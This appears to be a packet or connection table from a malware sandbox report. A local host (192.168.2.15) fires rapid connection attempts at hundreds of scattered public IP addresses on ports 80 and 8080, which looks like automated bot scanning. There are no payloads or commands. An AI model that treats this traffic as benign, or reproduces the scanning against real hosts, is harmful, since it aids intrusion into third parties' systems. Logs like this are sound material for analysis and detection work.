Feb 19, 2025 19:48:58.117854118 CET	7685	80	192.168.2.15	88.120.7.244
Feb 19, 2025 19:48:58.117881060 CET	7685	80	192.168.2.15	88.37.56.31
Feb 19, 2025 19:48:58.117882013 CET	7685	80	192.168.2.15	88.109.251.92
Feb 19, 2025 19:48:58.117892981 CET	7685	80	192.168.2.15	88.142.176.87
Feb 19, 2025 19:48:58.117912054 CET	7685	80	192.168.2.15	88.65.154.238
Feb 19, 2025 19:48:58.117934942 CET	7685	80	192.168.2.15	88.133.90.73
Feb 19, 2025 19:48:58.117963076 CET	7685	80	192.168.2.15	88.159.253.178
Feb 19, 2025 19:48:58.117965937 CET	7685	80	192.168.2.15	88.56.240.162
Feb 19, 2025 19:48:58.117979050 CET	7685	80	192.168.2.15	88.224.115.35
Feb 19, 2025 19:48:58.117993116 CET	7685	80	192.168.2.15	88.116.189.225
Feb 19, 2025 19:48:58.118030071 CET	7685	80	192.168.2.15	88.230.13.65
Feb 19, 2025 19:48:58.118031025 CET	7685	80	192.168.2.15	88.24.102.250
Feb 19, 2025 19:48:58.118040085 CET	7685	80	192.168.2.15	88.250.203.36
Feb 19, 2025 19:48:58.118047953 CET	7685	80	192.168.2.15	88.244.22.159
Feb 19, 2025 19:48:58.118062019 CET	7685	80	192.168.2.15	88.42.96.28
Feb 19, 2025 19:48:58.118087053 CET	7685	80	192.168.2.15	88.208.198.156
Feb 19, 2025 19:48:58.118089914 CET	7685	80	192.168.2.15	88.222.178.215
Feb 19, 2025 19:48:58.118107080 CET	7685	80	192.168.2.15	88.96.21.44
Feb 19, 2025 19:48:58.118124962 CET	7685	80	192.168.2.15	88.179.214.113
Feb 19, 2025 19:48:58.118145943 CET	7685	80	192.168.2.15	88.12.68.19
Feb 19, 2025 19:48:58.118172884 CET	7685	80	192.168.2.15	88.180.63.104
Feb 19, 2025 19:48:58.118172884 CET	7685	80	192.168.2.15	88.65.168.230
Feb 19, 2025 19:48:58.118192911 CET	7685	80	192.168.2.15	88.143.81.194
Feb 19, 2025 19:48:58.118211985 CET	7685	80	192.168.2.15	88.54.93.144
Feb 19, 2025 19:48:58.118213892 CET	7685	80	192.168.2.15	88.239.89.69
Feb 19, 2025 19:48:58.118232012 CET	7685	80	192.168.2.15	88.124.113.26
Feb 19, 2025 19:48:58.118248940 CET	7685	80	192.168.2.15	88.57.15.93
Feb 19, 2025 19:48:58.118263006 CET	7685	80	192.168.2.15	88.28.87.148
Feb 19, 2025 19:48:58.118277073 CET	7685	80	192.168.2.15	88.149.225.67
Feb 19, 2025 19:48:58.118313074 CET	7685	80	192.168.2.15	88.224.178.18
Feb 19, 2025 19:48:58.118333101 CET	7685	80	192.168.2.15	88.157.227.75
Feb 19, 2025 19:48:58.118350983 CET	7685	80	192.168.2.15	88.26.85.138
Feb 19, 2025 19:48:58.118352890 CET	7685	80	192.168.2.15	88.182.166.199
Feb 19, 2025 19:48:58.118352890 CET	7685	80	192.168.2.15	88.126.93.63
Feb 19, 2025 19:48:58.118372917 CET	7685	80	192.168.2.15	88.71.0.8
Feb 19, 2025 19:48:58.118383884 CET	7685	80	192.168.2.15	88.172.115.175
Feb 19, 2025 19:48:58.118405104 CET	7685	80	192.168.2.15	88.80.127.107
Feb 19, 2025 19:48:58.118422985 CET	7685	80	192.168.2.15	88.236.188.117
Feb 19, 2025 19:48:58.118428946 CET	7685	80	192.168.2.15	88.92.204.247
Feb 19, 2025 19:48:58.118453979 CET	7685	80	192.168.2.15	88.202.132.180
Feb 19, 2025 19:48:58.118469000 CET	7685	80	192.168.2.15	88.31.245.92
Feb 19, 2025 19:48:58.118478060 CET	7685	80	192.168.2.15	88.116.21.92
Feb 19, 2025 19:48:58.118495941 CET	7685	80	192.168.2.15	88.131.126.122
Feb 19, 2025 19:48:58.118505955 CET	7685	80	192.168.2.15	88.237.226.197
Feb 19, 2025 19:48:58.118520975 CET	7685	80	192.168.2.15	88.81.249.207
Feb 19, 2025 19:48:58.118534088 CET	7685	80	192.168.2.15	88.200.99.13
Feb 19, 2025 19:48:58.118544102 CET	7685	80	192.168.2.15	88.152.47.237
Feb 19, 2025 19:48:58.118568897 CET	7685	80	192.168.2.15	88.5.6.245
Feb 19, 2025 19:48:58.118577957 CET	7685	80	192.168.2.15	88.40.8.5
Feb 19, 2025 19:48:58.118597031 CET	7685	80	192.168.2.15	88.2.88.12
Feb 19, 2025 19:48:58.118604898 CET	7685	80	192.168.2.15	88.246.187.201
Feb 19, 2025 19:48:58.118623972 CET	7685	80	192.168.2.15	88.119.159.198
Feb 19, 2025 19:48:58.118638992 CET	7685	80	192.168.2.15	88.90.248.203
Feb 19, 2025 19:48:58.118645906 CET	7685	80	192.168.2.15	88.199.136.63
Feb 19, 2025 19:48:58.118666887 CET	7685	80	192.168.2.15	88.112.158.246
Feb 19, 2025 19:48:58.118690968 CET	7685	80	192.168.2.15	88.158.170.6
Feb 19, 2025 19:48:58.118691921 CET	7685	80	192.168.2.15	88.217.36.10
Feb 19, 2025 19:48:58.118699074 CET	7685	80	192.168.2.15	88.224.158.37
Feb 19, 2025 19:48:58.118716002 CET	7685	80	192.168.2.15	88.106.103.223
Feb 19, 2025 19:48:58.118727922 CET	7685	80	192.168.2.15	88.138.104.194
Feb 19, 2025 19:48:58.118747950 CET	7173	8080	192.168.2.15	62.61.220.226
Feb 19, 2025 19:48:58.118765116 CET	7173	8080	192.168.2.15	94.234.157.232
Feb 19, 2025 19:48:58.118773937 CET	7173	8080	192.168.2.15	94.88.162.192
Feb 19, 2025 19:48:58.118773937 CET	7685	80	192.168.2.15	88.106.152.200
Feb 19, 2025 19:48:58.118773937 CET	7173	8080	192.168.2.15	95.188.207.111
Feb 19, 2025 19:48:58.118808985 CET	7173	8080	192.168.2.15	94.157.202.60
Feb 19, 2025 19:48:58.118813038 CET	7685	80	192.168.2.15	88.130.194.96
Feb 19, 2025 19:48:58.118818998 CET	7173	8080	192.168.2.15	62.150.250.228
Feb 19, 2025 19:48:58.118822098 CET	7173	8080	192.168.2.15	31.144.37.165
Feb 19, 2025 19:48:58.118822098 CET	7685	80	192.168.2.15	88.247.104.49
Feb 19, 2025 19:48:58.118829966 CET	7173	8080	192.168.2.15	94.15.107.43
Feb 19, 2025 19:48:58.118832111 CET	7173	8080	192.168.2.15	62.0.169.76
Feb 19, 2025 19:48:58.118839979 CET	7173	8080	192.168.2.15	95.28.21.162
Feb 19, 2025 19:48:58.118860006 CET	7173	8080	192.168.2.15	85.221.40.123
Feb 19, 2025 19:48:58.118866920 CET	7173	8080	192.168.2.15	85.147.48.246
Feb 19, 2025 19:48:58.118876934 CET	7173	8080	192.168.2.15	95.39.137.148
Feb 19, 2025 19:48:58.118881941 CET	7685	80	192.168.2.15	88.105.142.63
Feb 19, 2025 19:48:58.118894100 CET	7173	8080	192.168.2.15	31.8.121.93
Feb 19, 2025 19:48:58.118899107 CET	7685	80	192.168.2.15	88.138.151.117
Feb 19, 2025 19:48:58.118899107 CET	7173	8080	192.168.2.15	95.152.10.29
Feb 19, 2025 19:48:58.118899107 CET	7685	80	192.168.2.15	88.0.235.82
Feb 19, 2025 19:48:58.118906021 CET	7173	8080	192.168.2.15	95.13.53.228
Feb 19, 2025 19:48:58.118907928 CET	7173	8080	192.168.2.15	62.93.18.224
Feb 19, 2025 19:48:58.118912935 CET	7173	8080	192.168.2.15	94.205.102.16
Feb 19, 2025 19:48:58.118921041 CET	7685	80	192.168.2.15	88.41.155.237
Feb 19, 2025 19:48:58.118944883 CET	7173	8080	192.168.2.15	85.80.35.254
Feb 19, 2025 19:48:58.118944883 CET	7173	8080	192.168.2.15	94.12.112.67
Feb 19, 2025 19:48:58.118944883 CET	7685	80	192.168.2.15	88.52.207.225
Feb 19, 2025 19:48:58.118944883 CET	7173	8080	192.168.2.15	31.206.121.100
Feb 19, 2025 19:48:58.118964911 CET	7173	8080	192.168.2.15	31.83.88.213
Feb 19, 2025 19:48:58.118969917 CET	7173	8080	192.168.2.15	94.89.221.137
Feb 19, 2025 19:48:58.118980885 CET	7173	8080	192.168.2.15	94.14.155.32
Feb 19, 2025 19:48:58.118983030 CET	7173	8080	192.168.2.15	94.251.105.119
Feb 19, 2025 19:48:58.118993044 CET	7173	8080	192.168.2.15	94.156.6.121
Feb 19, 2025 19:48:58.118993044 CET	7173	8080	192.168.2.15	85.182.215.205
Feb 19, 2025 19:48:58.118999004 CET	7685	80	192.168.2.15	88.79.129.83
Feb 19, 2025 19:48:58.119003057 CET	7173	8080	192.168.2.15	94.71.136.7
Feb 19, 2025 19:48:58.119015932 CET	7173	8080	192.168.2.15	95.0.33.120
Feb 19, 2025 19:48:58.119020939 CET	7685	80	192.168.2.15	88.39.209.104
Feb 19, 2025 19:48:58.119029045 CET	7173	8080	192.168.2.15	85.53.8.114
Feb 19, 2025 19:48:58.119038105 CET	7173	8080	192.168.2.15	62.148.2.118
Feb 19, 2025 19:48:58.119038105 CET	7173	8080	192.168.2.15	62.103.94.158
Feb 19, 2025 19:48:58.119038105 CET	7685	80	192.168.2.15	88.18.14.126
Feb 19, 2025 19:48:58.119045019 CET	7173	8080	192.168.2.15	85.136.6.167
Feb 19, 2025 19:48:58.119045019 CET	7173	8080	192.168.2.15	95.194.66.162
Feb 19, 2025 19:48:58.119059086 CET	7173	8080	192.168.2.15	85.194.125.110
Feb 19, 2025 19:48:58.119071960 CET	7173	8080	192.168.2.15	85.227.218.230
Feb 19, 2025 19:48:58.119076967 CET	7685	80	192.168.2.15	88.150.121.14
Feb 19, 2025 19:48:58.119077921 CET	7173	8080	192.168.2.15	62.14.202.160
Feb 19, 2025 19:48:58.119081974 CET	7173	8080	192.168.2.15	31.122.159.165
Feb 19, 2025 19:48:58.119083881 CET	7173	8080	192.168.2.15	62.116.1.109
Feb 19, 2025 19:48:58.119091988 CET	7173	8080	192.168.2.15	85.77.129.201
Feb 19, 2025 19:48:58.119096041 CET	7685	80	192.168.2.15	88.182.1.143
Feb 19, 2025 19:48:58.119101048 CET	7173	8080	192.168.2.15	31.176.211.97
Feb 19, 2025 19:48:58.119113922 CET	7685	80	192.168.2.15	88.172.240.51
Feb 19, 2025 19:48:58.119131088 CET	7173	8080	192.168.2.15	95.41.228.160
Feb 19, 2025 19:48:58.119131088 CET	7173	8080	192.168.2.15	85.224.41.174
Feb 19, 2025 19:48:58.119136095 CET	7685	80	192.168.2.15	88.106.139.147
Feb 19, 2025 19:48:58.119138956 CET	7173	8080	192.168.2.15	31.65.224.248
Feb 19, 2025 19:48:58.119151115 CET	7685	80	192.168.2.15	88.126.213.21
Feb 19, 2025 19:48:58.119168043 CET	7685	80	192.168.2.15	88.101.144.28
Feb 19, 2025 19:48:58.119169950 CET	7173	8080	192.168.2.15	31.106.50.154
Feb 19, 2025 19:48:58.119174957 CET	7173	8080	192.168.2.15	94.200.48.82
Feb 19, 2025 19:48:58.119180918 CET	7173	8080	192.168.2.15	95.41.136.106
Feb 19, 2025 19:48:58.119185925 CET	7173	8080	192.168.2.15	62.229.236.128
Feb 19, 2025 19:48:58.119208097 CET	7685	80	192.168.2.15	88.191.119.158
Feb 19, 2025 19:48:58.119210958 CET	7173	8080	192.168.2.15	94.122.147.16
Feb 19, 2025 19:48:58.119215012 CET	7173	8080	192.168.2.15	62.112.119.100
Feb 19, 2025 19:48:58.119221926 CET	7173	8080	192.168.2.15	85.125.155.173
Feb 19, 2025 19:48:58.119227886 CET	7173	8080	192.168.2.15	85.242.239.254
Feb 19, 2025 19:48:58.119230986 CET	7173	8080	192.168.2.15	62.177.208.103
Feb 19, 2025 19:48:58.119234085 CET	7685	80	192.168.2.15	88.164.0.191
Feb 19, 2025 19:48:58.119236946 CET	7173	8080	192.168.2.15	95.56.140.183
Feb 19, 2025 19:48:58.119236946 CET	7173	8080	192.168.2.15	85.92.116.82
Feb 19, 2025 19:48:58.119240046 CET	7685	80	192.168.2.15	88.50.115.128
Feb 19, 2025 19:48:58.119242907 CET	7173	8080	192.168.2.15	62.202.22.105
Feb 19, 2025 19:48:58.119266987 CET	7685	80	192.168.2.15	88.74.32.107
Feb 19, 2025 19:48:58.119275093 CET	7173	8080	192.168.2.15	94.172.189.223
Feb 19, 2025 19:48:58.119283915 CET	7173	8080	192.168.2.15	95.70.46.51
Feb 19, 2025 19:48:58.119285107 CET	7173	8080	192.168.2.15	95.110.169.255
Feb 19, 2025 19:48:58.119285107 CET	7173	8080	192.168.2.15	85.108.130.13
Feb 19, 2025 19:48:58.119286060 CET	7685	80	192.168.2.15	88.116.196.202
Feb 19, 2025 19:48:58.119328022 CET	7173	8080	192.168.2.15	31.199.221.246
Feb 19, 2025 19:48:58.119328022 CET	7173	8080	192.168.2.15	95.50.102.142
Feb 19, 2025 19:48:58.119328976 CET	7173	8080	192.168.2.15	31.163.105.206
Feb 19, 2025 19:48:58.119328976 CET	7685	80	192.168.2.15	88.147.75.103
Feb 19, 2025 19:48:58.119329929 CET	7173	8080	192.168.2.15	94.35.191.66
Feb 19, 2025 19:48:58.119337082 CET	7685	80	192.168.2.15	88.133.136.36
Feb 19, 2025 19:48:58.119338989 CET	7173	8080	192.168.2.15	94.30.101.65
Feb 19, 2025 19:48:58.119350910 CET	7173	8080	192.168.2.15	95.238.6.157
Feb 19, 2025 19:48:58.119353056 CET	7685	80	192.168.2.15	88.96.45.140
Feb 19, 2025 19:48:58.119362116 CET	7173	8080	192.168.2.15	31.202.69.96
Feb 19, 2025 19:48:58.119362116 CET	7685	80	192.168.2.15	88.28.47.7
Feb 19, 2025 19:48:58.119371891 CET	7173	8080	192.168.2.15	95.130.190.128
Feb 19, 2025 19:48:58.119375944 CET	7173	8080	192.168.2.15	94.54.184.27
Feb 19, 2025 19:48:58.119388103 CET	7685	80	192.168.2.15	88.112.77.84
Feb 19, 2025 19:48:58.119388103 CET	7173	8080	192.168.2.15	94.124.36.60
Feb 19, 2025 19:48:58.119405985 CET	7685	80	192.168.2.15	88.54.231.18
Feb 19, 2025 19:48:58.119406939 CET	7173	8080	192.168.2.15	31.176.128.78
Feb 19, 2025 19:48:58.119415998 CET	7173	8080	192.168.2.15	95.12.78.20
Feb 19, 2025 19:48:58.119416952 CET	7173	8080	192.168.2.15	94.119.102.165
Feb 19, 2025 19:48:58.119429111 CET	7685	80	192.168.2.15	88.195.0.138
Feb 19, 2025 19:48:58.119429111 CET	7173	8080	192.168.2.15	31.186.1.71
Feb 19, 2025 19:48:58.119441986 CET	7173	8080	192.168.2.15	94.179.205.101
Feb 19, 2025 19:48:58.119443893 CET	7685	80	192.168.2.15	88.214.188.87
Feb 19, 2025 19:48:58.119455099 CET	7173	8080	192.168.2.15	31.34.204.165
Feb 19, 2025 19:48:58.119460106 CET	7173	8080	192.168.2.15	31.153.119.71
Feb 19, 2025 19:48:58.119463921 CET	7685	80	192.168.2.15	88.148.186.204
Feb 19, 2025 19:48:58.119465113 CET	7173	8080	192.168.2.15	62.63.223.177
Feb 19, 2025 19:48:58.119472980 CET	7173	8080	192.168.2.15	85.164.56.120
Feb 19, 2025 19:48:58.119472980 CET	7173	8080	192.168.2.15	31.248.170.255
Feb 19, 2025 19:48:58.119472980 CET	7685	80	192.168.2.15	88.157.187.21
Feb 19, 2025 19:48:58.119501114 CET	7685	80	192.168.2.15	88.230.144.172
Feb 19, 2025 19:48:58.119501114 CET	7173	8080	192.168.2.15	85.177.192.28
Feb 19, 2025 19:48:58.119503975 CET	7173	8080	192.168.2.15	95.21.13.67
Feb 19, 2025 19:48:58.119515896 CET	7173	8080	192.168.2.15	62.182.21.12
Feb 19, 2025 19:48:58.119524956 CET	7173	8080	192.168.2.15	85.42.200.157
Feb 19, 2025 19:48:58.119529009 CET	7173	8080	192.168.2.15	85.140.191.215
Feb 19, 2025 19:48:58.119544029 CET	7685	80	192.168.2.15	88.174.155.96
Feb 19, 2025 19:48:58.119545937 CET	7173	8080	192.168.2.15	95.127.113.90
Feb 19, 2025 19:48:58.119558096 CET	7685	80	192.168.2.15	88.68.134.112
Feb 19, 2025 19:48:58.119568110 CET	7173	8080	192.168.2.15	94.143.70.52
Feb 19, 2025 19:48:58.119569063 CET	7173	8080	192.168.2.15	31.164.51.54
Feb 19, 2025 19:48:58.119571924 CET	7173	8080	192.168.2.15	62.168.44.193
Feb 19, 2025 19:48:58.119580984 CET	7173	8080	192.168.2.15	31.150.95.221
Feb 19, 2025 19:48:58.119580984 CET	7173	8080	192.168.2.15	31.136.169.187
Feb 19, 2025 19:48:58.119580984 CET	7173	8080	192.168.2.15	95.82.7.189
Feb 19, 2025 19:48:58.119580984 CET	7173	8080	192.168.2.15	95.46.251.39
Feb 19, 2025 19:48:58.119587898 CET	7685	80	192.168.2.15	88.251.155.247
Feb 19, 2025 19:48:58.119590044 CET	7173	8080	192.168.2.15	62.82.240.28
Feb 19, 2025 19:48:58.119591951 CET	7173	8080	192.168.2.15	85.51.247.216
Feb 19, 2025 19:48:58.119591951 CET	7173	8080	192.168.2.15	94.193.167.110
Feb 19, 2025 19:48:58.119606018 CET	7173	8080	192.168.2.15	85.101.100.203
Feb 19, 2025 19:48:58.119616985 CET	7685	80	192.168.2.15	88.250.21.66
Feb 19, 2025 19:48:58.119626999 CET	7173	8080	192.168.2.15	62.9.172.122
Feb 19, 2025 19:48:58.119648933 CET	7173	8080	192.168.2.15	94.253.211.62
Feb 19, 2025 19:48:58.119654894 CET	7685	80	192.168.2.15	88.106.167.242
Feb 19, 2025 19:48:58.119654894 CET	7173	8080	192.168.2.15	85.225.154.20
Feb 19, 2025 19:48:58.119663000 CET	7173	8080	192.168.2.15	62.240.133.218
Feb 19, 2025 19:48:58.119678974 CET	7685	80	192.168.2.15	88.110.240.39
Feb 19, 2025 19:48:58.119679928 CET	7173	8080	192.168.2.15	62.58.91.239
Feb 19, 2025 19:48:58.119679928 CET	7173	8080	192.168.2.15	85.46.183.9
Feb 19, 2025 19:48:58.119680882 CET	7685	80	192.168.2.15	88.47.230.73
Feb 19, 2025 19:48:58.119682074 CET	7173	8080	192.168.2.15	95.127.233.86
Feb 19, 2025 19:48:58.119685888 CET	7173	8080	192.168.2.15	31.138.136.43
Feb 19, 2025 19:48:58.119685888 CET	7173	8080	192.168.2.15	95.120.1.100
Feb 19, 2025 19:48:58.119708061 CET	7173	8080	192.168.2.15	94.225.13.211
Feb 19, 2025 19:48:58.119709015 CET	7173	8080	192.168.2.15	31.6.134.136
Feb 19, 2025 19:48:58.119709015 CET	7173	8080	192.168.2.15	94.209.74.214
Feb 19, 2025 19:48:58.119713068 CET	7173	8080	192.168.2.15	31.80.238.84
Feb 19, 2025 19:48:58.119718075 CET	7173	8080	192.168.2.15	31.92.173.96
Feb 19, 2025 19:48:58.119725943 CET	7685	80	192.168.2.15	88.198.84.131
Feb 19, 2025 19:48:58.119725943 CET	7173	8080	192.168.2.15	31.110.245.167
Feb 19, 2025 19:48:58.119729042 CET	7685	80	192.168.2.15	88.107.207.195
Feb 19, 2025 19:48:58.119733095 CET	7173	8080	192.168.2.15	85.111.20.169
Feb 19, 2025 19:48:58.119735956 CET	7173	8080	192.168.2.15	62.228.242.80
Feb 19, 2025 19:48:58.119744062 CET	7173	8080	192.168.2.15	95.191.120.77
Feb 19, 2025 19:48:58.119749069 CET	7173	8080	192.168.2.15	95.45.87.72
Feb 19, 2025 19:48:58.119752884 CET	7685	80	192.168.2.15	88.193.92.220
Feb 19, 2025 19:48:58.119752884 CET	7173	8080	192.168.2.15	62.239.207.187
Feb 19, 2025 19:48:58.119761944 CET	7173	8080	192.168.2.15	95.153.205.86
Feb 19, 2025 19:48:58.119772911 CET	7685	80	192.168.2.15	88.100.199.250
Feb 19, 2025 19:48:58.119776011 CET	7173	8080	192.168.2.15	31.107.101.134
Feb 19, 2025 19:48:58.119788885 CET	7173	8080	192.168.2.15	62.174.38.139
Feb 19, 2025 19:48:58.119798899 CET	7173	8080	192.168.2.15	85.241.235.235
Feb 19, 2025 19:48:58.119798899 CET	7173	8080	192.168.2.15	85.200.137.72
Feb 19, 2025 19:48:58.119808912 CET	7173	8080	192.168.2.15	31.246.44.175
Feb 19, 2025 19:48:58.119818926 CET	7685	80	192.168.2.15	88.128.182.153
Feb 19, 2025 19:48:58.119827986 CET	7173	8080	192.168.2.15	94.112.138.242
Feb 19, 2025 19:48:58.119836092 CET	7173	8080	192.168.2.15	62.243.217.219
Feb 19, 2025 19:48:58.119837999 CET	7173	8080	192.168.2.15	95.238.18.137
Feb 19, 2025 19:48:58.119842052 CET	7173	8080	192.168.2.15	62.150.105.213
Feb 19, 2025 19:48:58.119867086 CET	7685	80	192.168.2.15	88.60.50.34
Feb 19, 2025 19:48:58.119868040 CET	7173	8080	192.168.2.15	95.183.195.5
Feb 19, 2025 19:48:58.119879961 CET	7685	80	192.168.2.15	88.149.0.230
Feb 19, 2025 19:48:58.119880915 CET	7173	8080	192.168.2.15	85.171.185.173
Feb 19, 2025 19:48:58.119882107 CET	7173	8080	192.168.2.15	62.90.7.87
Feb 19, 2025 19:48:58.119882107 CET	7173	8080	192.168.2.15	31.199.82.150
Feb 19, 2025 19:48:58.119882107 CET	7173	8080	192.168.2.15	94.206.114.134
Feb 19, 2025 19:48:58.119882107 CET	7173	8080	192.168.2.15	94.197.192.251
Feb 19, 2025 19:48:58.119898081 CET	7173	8080	192.168.2.15	85.112.145.155
Feb 19, 2025 19:48:58.119900942 CET	7173	8080	192.168.2.15	85.178.123.196
Feb 19, 2025 19:48:58.119911909 CET	7685	80	192.168.2.15	88.13.29.2
Feb 19, 2025 19:48:58.119915009 CET	7173	8080	192.168.2.15	85.118.194.70
Feb 19, 2025 19:48:58.119927883 CET	7685	80	192.168.2.15	88.154.127.24
Feb 19, 2025 19:48:58.119937897 CET	7173	8080	192.168.2.15	85.117.90.93
Feb 19, 2025 19:48:58.119947910 CET	7173	8080	192.168.2.15	85.200.33.255
Feb 19, 2025 19:48:58.119947910 CET	7685	80	192.168.2.15	88.167.120.188
Feb 19, 2025 19:48:58.119949102 CET	7173	8080	192.168.2.15	85.121.84.60
Feb 19, 2025 19:48:58.119950056 CET	7173	8080	192.168.2.15	62.252.64.8
Feb 19, 2025 19:48:58.119962931 CET	7173	8080	192.168.2.15	95.3.213.244
Feb 19, 2025 19:48:58.119966984 CET	7685	80	192.168.2.15	88.64.186.0
Feb 19, 2025 19:48:58.119971037 CET	7173	8080	192.168.2.15	85.174.216.174
Feb 19, 2025 19:48:58.119975090 CET	7173	8080	192.168.2.15	31.19.122.150
Feb 19, 2025 19:48:58.119982004 CET	7173	8080	192.168.2.15	62.8.79.209
Feb 19, 2025 19:48:58.120002985 CET	7173	8080	192.168.2.15	94.65.132.106
Feb 19, 2025 19:48:58.120002985 CET	7173	8080	192.168.2.15	31.190.60.58
Feb 19, 2025 19:48:58.120004892 CET	7173	8080	192.168.2.15	31.156.120.185
Feb 19, 2025 19:48:58.120013952 CET	7173	8080	192.168.2.15	62.175.155.197
Feb 19, 2025 19:48:58.120013952 CET	7685	80	192.168.2.15	88.207.50.114
Feb 19, 2025 19:48:58.120016098 CET	7173	8080	192.168.2.15	94.1.82.109
Feb 19, 2025 19:48:58.120033026 CET	7685	80	192.168.2.15	88.246.153.30
Feb 19, 2025 19:48:58.120033979 CET	7173	8080	192.168.2.15	62.156.198.231
Feb 19, 2025 19:48:58.120044947 CET	7173	8080	192.168.2.15	85.79.203.98
Feb 19, 2025 19:48:58.120047092 CET	7173	8080	192.168.2.15	94.167.21.239
Feb 19, 2025 19:48:58.120054007 CET	7173	8080	192.168.2.15	95.171.88.100
Feb 19, 2025 19:48:58.120064974 CET	7173	8080	192.168.2.15	94.154.199.58
Feb 19, 2025 19:48:58.120075941 CET	7173	8080	192.168.2.15	31.89.186.94
Feb 19, 2025 19:48:58.120085955 CET	7173	8080	192.168.2.15	95.80.91.226
Feb 19, 2025 19:48:58.120093107 CET	7173	8080	192.168.2.15	95.157.52.126
Feb 19, 2025 19:48:58.120100021 CET	7685	80	192.168.2.15	88.234.242.147
Feb 19, 2025 19:48:58.120100975 CET	7173	8080	192.168.2.15	31.138.61.123
Feb 19, 2025 19:48:58.120115042 CET	7685	80	192.168.2.15	88.29.236.14
Feb 19, 2025 19:48:58.120121956 CET	7173	8080	192.168.2.15	31.57.70.80
Feb 19, 2025 19:48:58.120121956 CET	7173	8080	192.168.2.15	94.103.51.185
Feb 19, 2025 19:48:58.120132923 CET	7173	8080	192.168.2.15	85.121.218.214
Feb 19, 2025 19:48:58.120141983 CET	7173	8080	192.168.2.15	31.166.185.143
Feb 19, 2025 19:48:58.120148897 CET	7685	80	192.168.2.15	88.195.9.223
Feb 19, 2025 19:48:58.120151043 CET	7173	8080	192.168.2.15	95.165.67.173
Feb 19, 2025 19:48:58.120161057 CET	7173	8080	192.168.2.15	62.33.61.139
Feb 19, 2025 19:48:58.120163918 CET	7685	80	192.168.2.15	88.103.1.147
Feb 19, 2025 19:48:58.120171070 CET	7173	8080	192.168.2.15	95.214.255.161
Feb 19, 2025 19:48:58.120182991 CET	7173	8080	192.168.2.15	62.42.5.91
Feb 19, 2025 19:48:58.120182991 CET	7173	8080	192.168.2.15	62.231.119.120
Feb 19, 2025 19:48:58.120182991 CET	7173	8080	192.168.2.15	31.193.57.194
Feb 19, 2025 19:48:58.120182991 CET	7173	8080	192.168.2.15	85.87.62.20
Feb 19, 2025 19:48:58.120186090 CET	7173	8080	192.168.2.15	95.49.47.97
Feb 19, 2025 19:48:58.120198011 CET	7685	80	192.168.2.15	88.235.205.172
Feb 19, 2025 19:48:58.120198965 CET	7173	8080	192.168.2.15	31.250.181.141
Feb 19, 2025 19:48:58.120207071 CET	7173	8080	192.168.2.15	31.25.206.91
Feb 19, 2025 19:48:58.120232105 CET	7173	8080	192.168.2.15	31.43.47.164
Feb 19, 2025 19:48:58.120232105 CET	7685	80	192.168.2.15	88.17.172.165
Feb 19, 2025 19:48:58.120233059 CET	7685	80	192.168.2.15	88.167.16.32
Feb 19, 2025 19:48:58.120237112 CET	7173	8080	192.168.2.15	94.50.70.107
Feb 19, 2025 19:48:58.120253086 CET	7173	8080	192.168.2.15	62.11.166.93
Feb 19, 2025 19:48:58.120275974 CET	7173	8080	192.168.2.15	31.25.222.26
Feb 19, 2025 19:48:58.120275974 CET	7173	8080	192.168.2.15	94.111.112.109
Feb 19, 2025 19:48:58.120279074 CET	7685	80	192.168.2.15	88.137.144.111
Feb 19, 2025 19:48:58.120279074 CET	7173	8080	192.168.2.15	85.2.112.54
Feb 19, 2025 19:48:58.120282888 CET	7173	8080	192.168.2.15	31.235.207.185
Feb 19, 2025 19:48:58.120289087 CET	7173	8080	192.168.2.15	85.16.70.70
Feb 19, 2025 19:48:58.120304108 CET	7685	80	192.168.2.15	88.61.164.193
Feb 19, 2025 19:48:58.120304108 CET	7173	8080	192.168.2.15	62.102.59.176
Feb 19, 2025 19:48:58.120306015 CET	7685	80	192.168.2.15	88.131.178.28
Feb 19, 2025 19:48:58.120320082 CET	7685	80	192.168.2.15	88.103.19.82
Feb 19, 2025 19:48:58.120320082 CET	7173	8080	192.168.2.15	62.74.56.16
Feb 19, 2025 19:48:58.120326996 CET	7173	8080	192.168.2.15	95.51.34.158
Feb 19, 2025 19:48:58.120342016 CET	7173	8080	192.168.2.15	95.72.145.232
Feb 19, 2025 19:48:58.120348930 CET	7685	80	192.168.2.15	88.50.11.68
Feb 19, 2025 19:48:58.120354891 CET	7685	80	192.168.2.15	88.153.230.210
Feb 19, 2025 19:48:58.120357990 CET	7173	8080	192.168.2.15	31.50.175.187
Feb 19, 2025 19:48:58.120366096 CET	7173	8080	192.168.2.15	95.115.87.184
Feb 19, 2025 19:48:58.120371103 CET	7685	80	192.168.2.15	88.9.164.126
Feb 19, 2025 19:48:58.120382071 CET	7173	8080	192.168.2.15	85.194.70.11
Feb 19, 2025 19:48:58.120383024 CET	7173	8080	192.168.2.15	94.88.204.27
Feb 19, 2025 19:48:58.120400906 CET	7685	80	192.168.2.15	88.255.165.185
Feb 19, 2025 19:48:58.120405912 CET	7173	8080	192.168.2.15	31.18.225.0
Feb 19, 2025 19:48:58.120407104 CET	7173	8080	192.168.2.15	94.143.96.122
Feb 19, 2025 19:48:58.120409966 CET	7173	8080	192.168.2.15	95.7.182.243
Feb 19, 2025 19:48:58.120412111 CET	7173	8080	192.168.2.15	85.203.129.31
Feb 19, 2025 19:48:58.120417118 CET	7173	8080	192.168.2.15	31.154.28.124
Feb 19, 2025 19:48:58.120429039 CET	7685	80	192.168.2.15	88.98.161.187
Feb 19, 2025 19:48:58.120429039 CET	7173	8080	192.168.2.15	31.65.131.145
Feb 19, 2025 19:48:58.120443106 CET	7173	8080	192.168.2.15	62.210.17.126
Feb 19, 2025 19:48:58.120444059 CET	7685	80	192.168.2.15	88.119.169.60
Feb 19, 2025 19:48:58.120450974 CET	7173	8080	192.168.2.15	62.41.63.247
Feb 19, 2025 19:48:58.120464087 CET	7173	8080	192.168.2.15	94.227.65.146
Feb 19, 2025 19:48:58.120464087 CET	7685	80	192.168.2.15	88.169.159.250
Feb 19, 2025 19:48:58.120474100 CET	7173	8080	192.168.2.15	94.57.98.14
Feb 19, 2025 19:48:58.120481014 CET	7173	8080	192.168.2.15	85.102.21.69
Feb 19, 2025 19:48:58.120487928 CET	7685	80	192.168.2.15	88.212.98.2
Feb 19, 2025 19:48:58.120495081 CET	7173	8080	192.168.2.15	62.222.217.164
Feb 19, 2025 19:48:58.120498896 CET	7173	8080	192.168.2.15	95.71.106.45
Feb 19, 2025 19:48:58.120513916 CET	7685	80	192.168.2.15	88.88.204.165
Feb 19, 2025 19:48:58.120521069 CET	7173	8080	192.168.2.15	62.253.142.140
Feb 19, 2025 19:48:58.120534897 CET	7173	8080	192.168.2.15	94.154.152.164
